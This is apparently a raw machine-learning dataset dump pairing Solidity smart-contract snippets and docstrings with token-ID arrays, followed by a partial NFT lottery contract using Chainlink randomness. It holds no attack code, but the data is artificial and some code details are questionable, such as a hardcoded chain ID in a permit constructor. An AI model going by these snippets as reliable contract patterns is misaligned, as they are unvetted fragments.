91,
546,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
309,
12,
341,
546,
13937,
422,
374,
262,
288,
203,
1377,
3626,
1186,
18352,
1248,
10808,
329,
12,
91,
2
] |
./partial_match/56/0x0c63457F086C5813990A4F397EF4544069076557/sources/MasterChef.sol | Safe bday transfer function, just in case if rounding error causes pool to not have enough BDAYs. | function safeBdayTransfer(address _to, uint256 _amount) internal {
bcake.safeBdayTransfer(_to, _amount);
}
| 11,252,755 | [
1,
9890,
324,
2881,
7412,
445,
16,
2537,
316,
648,
309,
13885,
555,
14119,
2845,
358,
486,
1240,
7304,
605,
10339,
87,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4183,
38,
2881,
5912,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
2713,
288,
203,
3639,
6533,
911,
18,
4626,
38,
2881,
5912,
24899,
869,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//pragma solidity ^0.5.5;
pragma solidity >=0.4.16 <0.9.0;
import './interfaces/IUniswapV2ERC20.sol';
import './libraries/SafeMath.sol';
contract UniswapV2ERC20 is IUniswapV2ERC20 {
// THIS PROVIDES THE TOTAL SUPPLY AND MINTED TOKEN ADDRESS
using SafeMath for uint;
string public constant override name = 'Uniswap V2';
string public constant override symbol = 'UNI-V2';
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
event ERCApproval(address indexed owner, address indexed spender, uint value);
event ERCTransfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := 3
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
// MINTING AND PROVIDING TOTAL SUPPLY OF TOKEN MNTED
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit ERCTransfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit ERCTransfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit ERCApproval(owner, spender, value);
}
// TRANSFER FUNDS FROM ONE ADDRESS TO THE OTHER
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit ERCTransfer(from, to, value);
}
// APPROVAL BEFORE ALLOWING WITHDRAWAL
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
// THE NORMAL PAYMENT TRANSFER TO ADDRESS
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
// TRANSFER TO ROUTER FIRST
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
// SENDS PERMISSION TO ALLOW OR NOT TO DISALLOW
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
| SENDS PERMISSION TO ALLOW OR NOT TO DISALLOW | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
| 15,843,294 | [
1,
21675,
55,
30283,
8493,
18592,
4869,
4269,
8493,
17641,
13511,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
21447,
12,
2867,
3410,
16,
1758,
17571,
264,
16,
2254,
460,
16,
2254,
14096,
16,
2254,
28,
331,
16,
1731,
1578,
436,
16,
1731,
1578,
272,
13,
3903,
3849,
288,
203,
3639,
2583,
12,
22097,
1369,
1545,
1203,
18,
5508,
16,
296,
984,
291,
91,
438,
58,
22,
30,
31076,
5879,
8284,
203,
3639,
1731,
1578,
5403,
273,
417,
24410,
581,
5034,
12,
203,
5411,
24126,
18,
3015,
4420,
329,
12,
203,
7734,
2337,
92,
3657,
64,
92,
1611,
2187,
203,
7734,
27025,
67,
4550,
16,
203,
7734,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
12,
3194,
6068,
67,
2399,
15920,
16,
3410,
16,
17571,
264,
16,
460,
16,
1661,
764,
63,
8443,
3737,
15,
16,
14096,
3719,
203,
5411,
262,
203,
3639,
11272,
203,
3639,
1758,
24616,
1887,
273,
425,
1793,
3165,
12,
10171,
16,
331,
16,
436,
16,
272,
1769,
203,
3639,
2583,
12,
266,
16810,
1887,
480,
1758,
12,
20,
13,
597,
24616,
1887,
422,
3410,
16,
296,
984,
291,
91,
438,
58,
22,
30,
10071,
67,
26587,
8284,
203,
3639,
389,
12908,
537,
12,
8443,
16,
17571,
264,
16,
460,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x7fb7E2157bFD335b23fc99bA6cEC56644497bAfe/sources/JrepoOracle.sol | * @return price/IBANDOracle.ReferenceData memory data = tfiOracleAddress.getReferenceData("XAU","USD"); | function latestAnswer() external view returns (uint256 _price) {
IStdReference.ReferenceData memory data = ref.getReferenceData("XAU","USD");
_price = data.rate;
}
| 11,162,423 | [
1,
2463,
6205,
19,
13450,
1258,
3191,
16873,
18,
2404,
751,
3778,
501,
273,
3253,
77,
23601,
1887,
18,
588,
2404,
751,
2932,
60,
14237,
15937,
3378,
40,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4891,
13203,
1435,
3903,
1476,
1135,
261,
11890,
5034,
389,
8694,
13,
288,
203,
3639,
467,
10436,
2404,
18,
2404,
751,
3778,
501,
273,
1278,
18,
588,
2404,
751,
2932,
60,
14237,
15937,
3378,
40,
8863,
203,
3639,
389,
8694,
273,
501,
18,
5141,
31,
4202,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x73BCA358e83dE2e1e4B328a3F200aBFed32BE654/sources/contracts/v4/tokens/ERC721LACore.sol | * @notice updates edition parameter. Careful: This will overwrite all previously set values on that edition./ | function updateEdition(
uint256 editionId,
uint24 _publicMintPriceInFinney,
uint32 _publicMintStartTS,
uint32 _publicMintEndTS,
uint8 _maxMintPerWallet,
uint24 _maxSupply,
bool _perTokenMetadata
) external onlyAdmin {
ERC721State.ERC721LAState storage state = ERC721State
._getERC721LAState();
if (editionId > state._editionCounter) {
revert CustomErrors.InvalidEditionId();
}
ERC721State.Edition storage edition = state._editions[editionId];
if (_maxSupply < edition.currentSupply - edition.burnedSupply) {
revert CustomErrors.MaxSupplyError();
}
edition.publicMintPriceInFinney = _publicMintPriceInFinney;
edition.publicMintStartTS = _publicMintStartTS;
edition.publicMintEndTS = _publicMintEndTS;
edition.maxMintPerWallet = _maxMintPerWallet;
edition.maxSupply = _maxSupply;
edition.perTokenMetadata = _perTokenMetadata;
}
| 16,448,708 | [
1,
14703,
28432,
1569,
18,
385,
834,
2706,
30,
1220,
903,
6156,
777,
7243,
444,
924,
603,
716,
28432,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
41,
1460,
12,
203,
3639,
2254,
5034,
28432,
548,
16,
203,
3639,
2254,
3247,
389,
482,
49,
474,
5147,
382,
6187,
82,
402,
16,
203,
3639,
2254,
1578,
389,
482,
49,
474,
1685,
8047,
16,
203,
3639,
2254,
1578,
389,
482,
49,
474,
1638,
8047,
16,
203,
3639,
2254,
28,
389,
1896,
49,
474,
2173,
16936,
16,
203,
3639,
2254,
3247,
389,
1896,
3088,
1283,
16,
203,
3639,
1426,
389,
457,
1345,
2277,
203,
565,
262,
3903,
1338,
4446,
288,
203,
3639,
4232,
39,
27,
5340,
1119,
18,
654,
39,
27,
5340,
2534,
1119,
2502,
919,
273,
4232,
39,
27,
5340,
1119,
203,
5411,
263,
67,
588,
654,
39,
27,
5340,
2534,
1119,
5621,
203,
3639,
309,
261,
329,
608,
548,
405,
919,
6315,
329,
608,
4789,
13,
288,
203,
5411,
15226,
6082,
4229,
18,
1941,
41,
1460,
548,
5621,
203,
3639,
289,
203,
203,
3639,
4232,
39,
27,
5340,
1119,
18,
41,
1460,
2502,
28432,
273,
919,
6315,
329,
5029,
63,
329,
608,
548,
15533,
203,
3639,
309,
261,
67,
1896,
3088,
1283,
411,
28432,
18,
2972,
3088,
1283,
300,
28432,
18,
70,
321,
329,
3088,
1283,
13,
288,
203,
5411,
15226,
6082,
4229,
18,
2747,
3088,
1283,
668,
5621,
203,
3639,
289,
203,
3639,
28432,
18,
482,
49,
474,
5147,
382,
6187,
82,
402,
273,
389,
482,
49,
474,
5147,
382,
6187,
82,
402,
31,
203,
3639,
28432,
18,
482,
49,
474,
1685,
8047,
273,
389,
482,
49,
474,
1685,
8047,
31,
203,
3639,
28432,
18,
482,
49,
474,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/dev/VRFConsumerBase.sol";
contract SLottery is ERC721, VRFConsumerBase, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
//sUSD token
IERC20 sUSD;
// Track ticket/token id ranges for current and previous lottery
uint256 public tokenIdFloor;
uint256 public prevTokenIdFloor;
// keep track of latest ticket/token id purchased
uint256 public lastTokenId;
// Counter for token ids as ticket NFTs
Counters.Counter private tokenIds;
// Counter for lottery ids - used for the winners
Counters.Counter private lotteryIds;
// lottery ticket price in sUSD
uint256 public tokenPrice = (1 * 10**18);
// Lottery running time duration before expire and prize announced
uint256 public duration = 6 hours;
// Used to identify the oracle
bytes32 internal keyHash;
// Used for requesting the random number from the oracle
uint256 internal oracleFee;
// keep track of each lottery total funds
mapping(uint256 => uint256) public lotteryIdFunds;
// keep track of a certain lottery's expiry date
mapping(uint256 => uint256) public lotteryIdExpiry;
// check if for a given lottery a token id has won a prize
mapping(uint256 => mapping(uint256 => bool)) public lotteryId1stPlaceAward;
mapping(uint256 => mapping(uint256 => bool)) public lotteryId2ndPlaceAward;
mapping(uint256 => mapping(uint256 => bool)) public lotteryId3rdPlaceAward;
// keep track of each lottery and token id prizes
mapping(uint256 => uint256) public tokenId1stPlaceAward;
mapping(uint256 => uint256) public tokenId2ndPlaceAward;
mapping(uint256 => uint256) public tokenId3rdPlaceAward;
// keep a reference for total tickets count for each lottery draw
mapping(uint256 => uint256) public lotteryIdTokensCount;
mapping(bytes32 => uint256) public requestIdLottery;
// prizes percentages distribution as x%, no decimals
uint8[3] public prizePercentArr = [50, 35, 15];
/**
* @dev Event emitted when a `requestId` was created by the `sender`
*/
event VRFRequested(
uint256 lotteryId,
bytes32 indexed requestId,
address indexed sender
);
/**
* @dev Event emitted when `firstPlaceTokenId`, `secondPlaceTokenId`, `thirdPlaceTokenId` are awarded for a `lotteryId`.
*/
event WinnersAnnounced(
uint256 lotteryId,
uint256 firstPlaceTokenId,
uint256 secondPlaceTokenId,
uint256 thirdPlaceTokenId
);
// enum defining the three PrizeClaimed event types
enum EventType {First, Second, Third}
/**
* @dev Event emitted when `tokenId` has claimed its reward for a `lotteryId`.
*/
event PrizeClaimed(uint256 lotteryId, EventType eventType, uint256 tokenId);
/**
* @dev Initialize contract by setting a `_sUSDAddress` for sUSD, a `_VRFCoordinator`
* as a Chainlink's smart contract to get a true random number, a `_LinkToken` that is used
* to pay the oracle and a `_keyHash` to identify the proper oracle. A `name` and a `symbol`d for the
* contract are needed as we inherit from the ERC721 contract. We also set the `oracleFee` to 0.1 LINK and we
* initialize the first lottery as soon as the contract is deployed
*/
constructor(
address _sUSDAddress,
address _vrfCoordinator,
address _linkToken,
bytes32 _keyHash
)
VRFConsumerBase(_vrfCoordinator, _linkToken)
ERC721("dSynthLottery", "SLX")
{
sUSD = IERC20(_sUSDAddress);
keyHash = _keyHash;
oracleFee = 0.1 * 10**18;
lotteryIdExpiry[lotteryIds.current()] = block.timestamp.add(duration);
}
/**
* @dev buy tokens/tickets for a `recipient` and transfers final cost `sUSDAmount` from sender's balance to the smart contract
*
* Emits a {Transfer} event from the ERC721 smart contract.
*/
function buyTickets(address recipient, uint256 tokens)
external
returns (uint256 tokenIdStart, uint256 tokenIdEnd)
{
require(tokens >= 1, "Minimum 1 ticket to buy required");
uint256 sUSDAmount = tokenPrice * tokens;
require(
sUSD.allowance(msg.sender, address(this)) >= sUSDAmount,
"Approve contract to spend funds for ticket cost"
);
require(
sUSD.balanceOf(msg.sender) >= sUSDAmount,
"Not enough funds for ticket cost"
);
//the sUSDAmount will go to specific lottery pool
lotteryIdFunds[lotteryIds.current()] = lotteryIdFunds[
lotteryIds.current()
]
.add(sUSDAmount);
tokenIdStart = tokenIds.current().add(1);
// we start ticketId from 1, leaving ticketId zero with no use
// Mint tickets
uint256 i;
for (i = 0; i < tokens; i++) {
tokenIds.increment();
_safeMint(recipient, tokenIds.current());
}
// save latest ticket id purchsed
lastTokenId = tokenIds.current();
tokenIdEnd = tokenIds.current();
//transfer sUSDAmount to the lottery smart contract
sUSD.transferFrom(msg.sender, address(this), sUSDAmount);
}
/**
* @dev anounce the winners by requesting a random number from Chainlink oracle using a seed
*
* Requirements:
*
* - current lottery should have expired
* - the smart contract should have enough balance to cover the fee
*
*/
function announceWinners(uint256 userProvidedSeed)
external
returns (bytes32)
{
// make sure there are at least 3 participants
uint256 tokensCount = getCurrentLotteryTokensCount();
require(tokensCount >= 3, "minimum tokens sold required");
require(
lotteryIdExpiry[lotteryIds.current()] < block.timestamp,
"Lottery is still running!"
);
bytes32 requestId = getRandomNumber(userProvidedSeed);
requestIdLottery[requestId] = lotteryIds.current();
emit VRFRequested(requestIdLottery[requestId], requestId, msg.sender);
return requestId;
}
/**
* Requests randomness from a user-provided seed
*/
function getRandomNumber(uint256 userProvidedSeed)
internal
returns (bytes32 requestId)
{
require(
LINK.balanceOf(address(this)) >= oracleFee,
"Not enough LINK balance"
);
return requestRandomness(keyHash, oracleFee, userProvidedSeed);
}
/**
* @dev Callback function used by the VRFCoordinator. Determines the winners by taking the random value from the VRF response
* and expanding it to 3 random values for the top 3 places. Afterwards a new lottery starts automatically.
*
* Emits a {WinnersAnnounced} event
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
uint256 currentLotteryId = requestIdLottery[requestId];
uint256 randWinner0 = uint256(keccak256(abi.encode(randomness, 0)));
uint256 randWinner1 = uint256(keccak256(abi.encode(randomness, 1)));
uint256 randWinner2 = uint256(keccak256(abi.encode(randomness, 2)));
uint256 currentLotteryTokens = getCurrentLotteryTokensCount();
require(currentLotteryTokens >= 3, "minimum tickets sold required");
// save number of tokens/tickets for current lottery
lotteryIdTokensCount[currentLotteryId] = currentLotteryTokens;
// select range of tickets for current lottery
uint256 tokenStart = tokenIdFloor.add(1);
// award prizes to winners
// exclude tickets already announced in other prizes
// a ticket can not be awarded more than one prize
uint256 firstPlaceTokenId =
randWinner0.mod(currentLotteryTokens).add(tokenStart);
// exclude 1st place ticket from draw, decrement number of tokens
uint256 secondPlaceTokenId =
randWinner1.mod(currentLotteryTokens.sub(1)).add(tokenStart);
if (secondPlaceTokenId >= firstPlaceTokenId)
secondPlaceTokenId = secondPlaceTokenId.add(1);
// exclude 1st and 2nd places ticket from draw, decrement number of tokens
uint256 thirdPlaceTokenId =
randWinner2.mod(currentLotteryTokens.sub(2)).add(tokenStart);
if (thirdPlaceTokenId >= firstPlaceTokenId)
thirdPlaceTokenId = thirdPlaceTokenId.add(1);
if (thirdPlaceTokenId >= secondPlaceTokenId)
thirdPlaceTokenId = thirdPlaceTokenId.add(1);
// store if token prize was claimed
lotteryId1stPlaceAward[currentLotteryId][firstPlaceTokenId] = true;
lotteryId2ndPlaceAward[currentLotteryId][secondPlaceTokenId] = true;
lotteryId3rdPlaceAward[currentLotteryId][thirdPlaceTokenId] = true;
// store all prizes token ids for each lottery id
tokenId1stPlaceAward[currentLotteryId] = firstPlaceTokenId;
tokenId2ndPlaceAward[currentLotteryId] = secondPlaceTokenId;
tokenId3rdPlaceAward[currentLotteryId] = thirdPlaceTokenId;
emit WinnersAnnounced(
currentLotteryId,
firstPlaceTokenId,
secondPlaceTokenId,
thirdPlaceTokenId
);
// once the event is emitted, start the next lottery
lotteryIds.increment();
lotteryIdExpiry[lotteryIds.current()] = block.timestamp.add(duration);
// keep track of each lottery tickets/token ids range
prevTokenIdFloor = tokenIdFloor;
tokenIdFloor = lastTokenId;
}
/**
* @dev claim the first place prize reward if the token is winner
*
* Requirements:
*
* - `tokenId` must be the 1st place winner for `lotteryId`
* - only the owner of the `tokenId` can claim the prize
*
* Emits a {PrizeClaimed} event
*/
function claim1stPlacePrize(uint256 tokenId, uint256 lotteryId)
public
returns (bool)
{
// tokenId has not won the first place or was already claimed
require(
lotteryId1stPlaceAward[lotteryId][tokenId],
"ticket not awarded or prize already claimed"
);
require(
msg.sender == ownerOf(tokenId),
"ticket owner required to claim prize"
);
uint256 prizePercent = prizePercentArr[0];
uint256 lotteryBalance = lotteryIdFunds[lotteryId];
uint256 amountToBeClaimed = lotteryBalance.mul(prizePercent).div(100);
lotteryId1stPlaceAward[lotteryId][tokenId] = false;
sUSD.transfer(msg.sender, amountToBeClaimed);
emit PrizeClaimed(lotteryId, EventType.First, tokenId);
return true;
}
/**
* @dev claim the second place prize reward if the token is winner
*
* Requirements:
*
* - `tokenId` must be the 2nd place winner for `lotteryId`
* - only the owner of the `tokenId` can claim the prize
*
* Emits a {PrizeClaimed} event
*/
function claim2ndPlacePrize(uint256 tokenId, uint256 lotteryId)
public
returns (bool)
{
// tokenId has not won the second place or was already claimed
require(
lotteryId2ndPlaceAward[lotteryId][tokenId],
"ticket not awarded or prize already claimed"
);
require(
msg.sender == ownerOf(tokenId),
"ticket owner required to claim prize"
);
uint256 prizePercent = prizePercentArr[1];
uint256 lotteryBalance = lotteryIdFunds[lotteryId];
uint256 amountToBeClaimed = lotteryBalance.mul(prizePercent).div(100);
lotteryId2ndPlaceAward[lotteryId][tokenId] = false;
